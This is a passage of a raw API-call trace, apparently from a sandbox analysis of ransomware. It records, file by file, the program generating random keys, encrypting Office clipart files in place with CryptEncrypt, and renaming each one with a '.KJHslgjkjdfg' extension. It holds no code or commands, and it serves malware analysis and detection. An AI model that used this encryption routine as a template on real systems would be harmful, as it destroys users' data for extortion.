ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099145.JPG", cAlternateFileName="")) returned 1 [0161.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.434] GetProcessHeap () returned 0x2a0000 [0161.434] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.434] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.434] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.434] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0161.436] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.436] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.436] GetProcessHeap () returned 0x2a0000 [0161.436] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.436] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.436] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.436] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.437] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.437] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.437] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.437] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.437] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.437] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.437] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.437] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.437] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x60b7, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x60b7, lpOverlapped=0x0) returned 1 [0161.438] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x60c0, dwBufLen=0x60c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x60c0) returned 1 [0161.439] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.439] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x60c0, lpOverlapped=0x0) returned 1 [0161.439] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.439] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.439] SetEndOfFile (hFile=0x114) returned 1 [0161.442] GetProcessHeap () returned 0x2a0000 [0161.442] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.442] GetProcessHeap () returned 0x2a0000 [0161.442] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.442] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.kjhslgjkjdfg")) returned 1 [0161.444] CloseHandle (hObject=0x114) returned 1 [0161.445] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099146.WMF", cAlternateFileName="")) returned 1 [0161.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.445] GetProcessHeap () returned 0x2a0000 [0161.445] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.445] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.445] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.446] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0161.448] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.448] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.448] GetProcessHeap () returned 0x2a0000 [0161.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.448] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.448] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.448] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.448] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.448] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.448] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.449] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.449] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.449] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.449] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.449] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.449] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40d4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x40d4, lpOverlapped=0x0) returned 1 [0161.450] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x40e0, dwBufLen=0x40e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x40e0) returned 1 [0161.450] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.450] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x40e0, lpOverlapped=0x0) returned 1 [0161.451] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.451] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x41b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.451] SetEndOfFile (hFile=0x114) returned 1 [0161.453] GetProcessHeap () returned 0x2a0000 [0161.453] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.453] GetProcessHeap () returned 0x2a0000 [0161.453] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.kjhslgjkjdfg")) returned 1 [0161.455] CloseHandle (hObject=0x114) returned 1 [0161.455] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099147.JPG", cAlternateFileName="")) returned 1 [0161.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.456] GetProcessHeap () returned 0x2a0000 [0161.456] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.456] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.456] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.456] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x7, lpOverlapped=0x0) returned 1 [0161.458] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.458] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.458] GetProcessHeap () returned 0x2a0000 [0161.459] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.459] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.459] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.459] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.459] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.459] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.459] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.459] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.459] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.459] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.460] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.460] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5f39, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5f39, lpOverlapped=0x0) returned 1 [0161.460] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5f40, dwBufLen=0x5f40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5f40) returned 1 [0161.461] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.461] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5f40, lpOverlapped=0x0) returned 1 [0161.461] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.461] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.461] SetEndOfFile (hFile=0x114) returned 1 [0161.463] GetProcessHeap () returned 0x2a0000 [0161.463] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.463] GetProcessHeap () returned 0x2a0000 [0161.463] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.463] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.kjhslgjkjdfg")) returned 1 [0161.464] CloseHandle (hObject=0x114) returned 1 [0161.464] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4752, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099148.JPG", cAlternateFileName="")) returned 1 [0161.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.465] GetProcessHeap () returned 0x2a0000 [0161.465] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.465] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.465] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.465] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0161.467] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.467] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.467] GetProcessHeap () returned 0x2a0000 [0161.467] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.467] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.467] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.467] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.467] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.467] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.468] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.468] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.468] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.468] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.468] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.468] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.468] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4752, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4752, lpOverlapped=0x0) returned 1 [0161.469] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4760, dwBufLen=0x4760 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4760) returned 1 [0161.469] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.469] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4760, lpOverlapped=0x0) returned 1 [0161.469] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.469] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.469] SetEndOfFile (hFile=0x114) returned 1 [0161.472] GetProcessHeap () returned 0x2a0000 [0161.472] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.472] GetProcessHeap () returned 0x2a0000 [0161.472] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.kjhslgjkjdfg")) returned 1 [0161.473] CloseHandle (hObject=0x114) returned 1 [0161.473] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x11dfe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099149.WMF", cAlternateFileName="")) returned 1 [0161.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.474] GetProcessHeap () returned 0x2a0000 [0161.474] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.474] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.474] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.474] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0161.476] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | 